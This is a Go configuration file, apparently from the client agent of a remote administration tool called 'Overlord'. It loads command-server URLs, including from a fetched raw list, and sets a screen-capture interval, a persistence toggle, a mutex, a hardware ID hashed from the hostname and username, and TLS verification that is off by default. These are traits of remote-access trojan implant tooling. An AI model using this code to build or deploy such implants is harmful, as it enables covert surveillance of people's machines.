fix issues with failing tests (I'm just gonna fucking assume directx isn't installed on the github actions machines). Added MUCH better RBAC support and control Fixed an issue when you have over a million clients RBAC would be slow asf Add settings page with some basic settings and configs you can change.
335 lines
8.1 KiB
Go
335 lines
8.1 KiB
Go
package config
|
|
|
|
import (
|
|
"bufio"
|
|
"bytes"
|
|
"crypto/sha256"
|
|
"encoding/hex"
|
|
"encoding/json"
|
|
"fmt"
|
|
"io"
|
|
"log"
|
|
"net/http"
|
|
"net/url"
|
|
"os"
|
|
"runtime"
|
|
"strings"
|
|
"time"
|
|
)
|
|
|
|
var AgentVersion = "1.2.1"
|
|
|
|
var DefaultPersistence = "false"
|
|
var DefaultServerURL = "wss://127.0.0.1:5173"
|
|
var DefaultServerURLIsRaw = "false"
|
|
var DefaultMutex = ""
|
|
var DefaultID = ""
|
|
var DefaultCountry = ""
|
|
var DefaultAgentToken = ""
|
|
|
|
const settingsFile = "config/settings.json"
|
|
const serverIndexFile = "config/server_index.json"
|
|
|
|
type settings struct {
|
|
ID string `json:"id"`
|
|
HWID string `json:"hwid"`
|
|
Country string `json:"country"`
|
|
Version string `json:"version"`
|
|
}
|
|
|
|
type serverIndexData struct {
|
|
LastWorkingIndex int `json:"last_working_index"`
|
|
}
|
|
|
|
type Config struct {
|
|
ServerURLs []string
|
|
ServerIndex int
|
|
RawServerListURL string
|
|
Mutex string
|
|
ID string
|
|
HWID string
|
|
Country string
|
|
OS string
|
|
Arch string
|
|
Version string
|
|
CaptureInterval time.Duration
|
|
DisableCapture bool
|
|
EnablePersistence bool
|
|
TLSInsecureSkipVerify bool
|
|
TLSCAPath string
|
|
TLSClientCert string
|
|
TLSClientKey string
|
|
AgentToken string
|
|
}
|
|
|
|
func Load() Config {
|
|
server := strings.TrimSpace(os.Getenv("OVERLORD_SERVER"))
|
|
if server == "" {
|
|
server = DefaultServerURL
|
|
}
|
|
|
|
rawServerFlag := strings.TrimSpace(os.Getenv("OVERLORD_SERVER_RAW"))
|
|
if rawServerFlag == "" {
|
|
rawServerFlag = DefaultServerURLIsRaw
|
|
}
|
|
rawServerEnabled := isTruthy(rawServerFlag)
|
|
|
|
serverURLs := []string{}
|
|
rawServerListURL := ""
|
|
if rawServerEnabled {
|
|
rawServerListURL = server
|
|
if rawServerListURL != "" {
|
|
if urls, err := LoadServerURLsFromRaw(rawServerListURL); err != nil {
|
|
log.Printf("[config] WARNING: failed to load raw server list from %q: %v", rawServerListURL, err)
|
|
} else {
|
|
serverURLs = urls
|
|
}
|
|
}
|
|
} else {
|
|
for _, url := range strings.Split(server, ",") {
|
|
normalized, err := normalizeServerURL(url)
|
|
if err != nil {
|
|
log.Printf("[config] WARNING: invalid server URL %q: %v", strings.TrimSpace(url), err)
|
|
continue
|
|
}
|
|
if normalized != "" {
|
|
serverURLs = append(serverURLs, normalized)
|
|
}
|
|
}
|
|
}
|
|
|
|
serverIndex := loadServerIndex()
|
|
|
|
fileSettings := readSettings()
|
|
defaultHWID := deriveHWID()
|
|
interval := 20 * time.Second
|
|
if v := strings.TrimSpace(os.Getenv("OVERLORD_CAPTURE_INTERVAL")); v != "" {
|
|
if parsed, err := time.ParseDuration(v); err == nil && parsed > 0 {
|
|
interval = parsed
|
|
}
|
|
}
|
|
|
|
disableCapture := false
|
|
if v := strings.ToLower(strings.TrimSpace(os.Getenv("OVERLORD_DISABLE_CAPTURE"))); v != "" {
|
|
disableCapture = v == "true" || v == "1" || v == "yes"
|
|
}
|
|
|
|
enablePersistence := strings.ToLower(DefaultPersistence) == "true"
|
|
if v := strings.ToLower(strings.TrimSpace(os.Getenv("OVERLORD_ENABLE_PERSISTENCE"))); v != "" {
|
|
enablePersistence = v == "true" || v == "1" || v == "yes"
|
|
}
|
|
|
|
tlsInsecureSkipVerify := true
|
|
if v := strings.ToLower(strings.TrimSpace(os.Getenv("OVERLORD_TLS_INSECURE_SKIP_VERIFY"))); v != "" {
|
|
tlsInsecureSkipVerify = v == "true" || v == "1" || v == "yes"
|
|
}
|
|
tlsCAPath := strings.TrimSpace(os.Getenv("OVERLORD_TLS_CA"))
|
|
tlsClientCert := strings.TrimSpace(os.Getenv("OVERLORD_TLS_CLIENT_CERT"))
|
|
tlsClientKey := strings.TrimSpace(os.Getenv("OVERLORD_TLS_CLIENT_KEY"))
|
|
agentToken := strings.TrimSpace(os.Getenv("OVERLORD_AGENT_TOKEN"))
|
|
if agentToken == "" {
|
|
agentToken = strings.TrimSpace(DefaultAgentToken)
|
|
}
|
|
|
|
mutex := strings.TrimSpace(os.Getenv("OVERLORD_MUTEX"))
|
|
if mutex == "" {
|
|
mutex = DefaultMutex
|
|
}
|
|
mutexLower := strings.ToLower(strings.TrimSpace(mutex))
|
|
if mutexLower == "none" || mutexLower == "disabled" {
|
|
mutex = ""
|
|
}
|
|
|
|
return Config{
|
|
ServerURLs: serverURLs,
|
|
ServerIndex: serverIndex,
|
|
RawServerListURL: rawServerListURL,
|
|
Mutex: strings.TrimSpace(mutex),
|
|
ID: defaultHWID,
|
|
HWID: firstNonEmpty(fileSettings.HWID, defaultHWID),
|
|
EnablePersistence: enablePersistence,
|
|
Country: firstNonEmpty(strings.TrimSpace(fileSettings.Country), DefaultCountry),
|
|
OS: runtime.GOOS,
|
|
Arch: runtime.GOARCH,
|
|
Version: firstNonEmpty(fileSettings.Version, AgentVersion),
|
|
CaptureInterval: interval,
|
|
DisableCapture: disableCapture,
|
|
TLSInsecureSkipVerify: tlsInsecureSkipVerify,
|
|
TLSCAPath: tlsCAPath,
|
|
TLSClientCert: tlsClientCert,
|
|
TLSClientKey: tlsClientKey,
|
|
AgentToken: agentToken,
|
|
}
|
|
}
|
|
|
|
func isTruthy(value string) bool {
|
|
v := strings.ToLower(strings.TrimSpace(value))
|
|
return v == "true" || v == "1" || v == "yes" || v == "y"
|
|
}
|
|
|
|
func LoadServerURLsFromRaw(rawURL string) ([]string, error) {
|
|
trimmed := strings.TrimSpace(rawURL)
|
|
if trimmed == "" {
|
|
return nil, fmt.Errorf("raw server list URL is empty")
|
|
}
|
|
|
|
parsed, err := url.Parse(trimmed)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
if parsed.Scheme == "" {
|
|
parsed.Scheme = "https"
|
|
}
|
|
|
|
scheme := strings.ToLower(parsed.Scheme)
|
|
if scheme != "https" && scheme != "http" {
|
|
return nil, fmt.Errorf("unsupported raw server list scheme: %s", parsed.Scheme)
|
|
}
|
|
|
|
client := &http.Client{Timeout: 10 * time.Second}
|
|
resp, err := client.Get(parsed.String())
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
defer resp.Body.Close()
|
|
|
|
if resp.StatusCode < 200 || resp.StatusCode >= 300 {
|
|
return nil, fmt.Errorf("unexpected status code %d", resp.StatusCode)
|
|
}
|
|
|
|
body, err := io.ReadAll(resp.Body)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
urls := []string{}
|
|
seen := map[string]struct{}{}
|
|
scanner := bufio.NewScanner(bytes.NewReader(body))
|
|
for scanner.Scan() {
|
|
line := strings.TrimSpace(scanner.Text())
|
|
if line == "" || strings.HasPrefix(line, "#") {
|
|
continue
|
|
}
|
|
normalized, err := normalizeServerURL(line)
|
|
if err != nil {
|
|
log.Printf("[config] WARNING: invalid server URL in raw list %q: %v", line, err)
|
|
continue
|
|
}
|
|
if normalized == "" {
|
|
continue
|
|
}
|
|
if _, ok := seen[normalized]; ok {
|
|
continue
|
|
}
|
|
seen[normalized] = struct{}{}
|
|
urls = append(urls, normalized)
|
|
}
|
|
|
|
if err := scanner.Err(); err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
if len(urls) == 0 {
|
|
return nil, fmt.Errorf("raw server list returned no valid URLs")
|
|
}
|
|
|
|
return urls, nil
|
|
}
|
|
|
|
func loadServerIndex() int {
|
|
bytes, err := os.ReadFile(serverIndexFile)
|
|
if err != nil {
|
|
return 0
|
|
}
|
|
var data serverIndexData
|
|
if err := json.Unmarshal(bytes, &data); err != nil {
|
|
return 0
|
|
}
|
|
return data.LastWorkingIndex
|
|
}
|
|
|
|
func SaveServerIndex(index int) error {
|
|
data := serverIndexData{LastWorkingIndex: index}
|
|
bytes, err := json.Marshal(data)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
return os.WriteFile(serverIndexFile, bytes, 0644)
|
|
}
|
|
|
|
func readSettings() settings {
|
|
bytes, err := os.ReadFile(settingsFile)
|
|
if err != nil {
|
|
return settings{}
|
|
}
|
|
var s settings
|
|
if err := json.Unmarshal(bytes, &s); err != nil {
|
|
return settings{}
|
|
}
|
|
return s
|
|
}
|
|
|
|
func firstNonEmpty(values ...string) string {
|
|
for _, v := range values {
|
|
if strings.TrimSpace(v) != "" {
|
|
return v
|
|
}
|
|
}
|
|
return ""
|
|
}
|
|
|
|
func deriveHWID() string {
|
|
h := sha256.New()
|
|
h.Write([]byte(hostname()))
|
|
h.Write([]byte("|"))
|
|
h.Write([]byte(os.Getenv("USERNAME")))
|
|
h.Write([]byte("|"))
|
|
h.Write([]byte(runtime.GOOS))
|
|
h.Write([]byte("|"))
|
|
h.Write([]byte(runtime.GOARCH))
|
|
return hex.EncodeToString(h.Sum(nil))
|
|
}
|
|
|
|
func hostname() string {
|
|
h, err := os.Hostname()
|
|
if err != nil {
|
|
return "unknown"
|
|
}
|
|
return h
|
|
}
|
|
|
|
func normalizeServerURL(raw string) (string, error) {
|
|
trimmed := strings.TrimSpace(raw)
|
|
if trimmed == "" {
|
|
return "", nil
|
|
}
|
|
|
|
normalized := trimmed
|
|
if !strings.Contains(normalized, "://") {
|
|
normalized = "wss://" + normalized
|
|
}
|
|
|
|
parsed, err := url.Parse(normalized)
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
|
|
switch strings.ToLower(parsed.Scheme) {
|
|
case "ws", "wss":
|
|
case "http":
|
|
parsed.Scheme = "ws"
|
|
case "https":
|
|
parsed.Scheme = "wss"
|
|
default:
|
|
return "", fmt.Errorf("unsupported scheme: %s", parsed.Scheme)
|
|
}
|
|
|
|
if parsed.Host == "" {
|
|
return "", fmt.Errorf("missing host")
|
|
}
|
|
|
|
parsed.Path = strings.TrimRight(parsed.Path, "/")
|
|
return parsed.String(), nil
|
|
}
|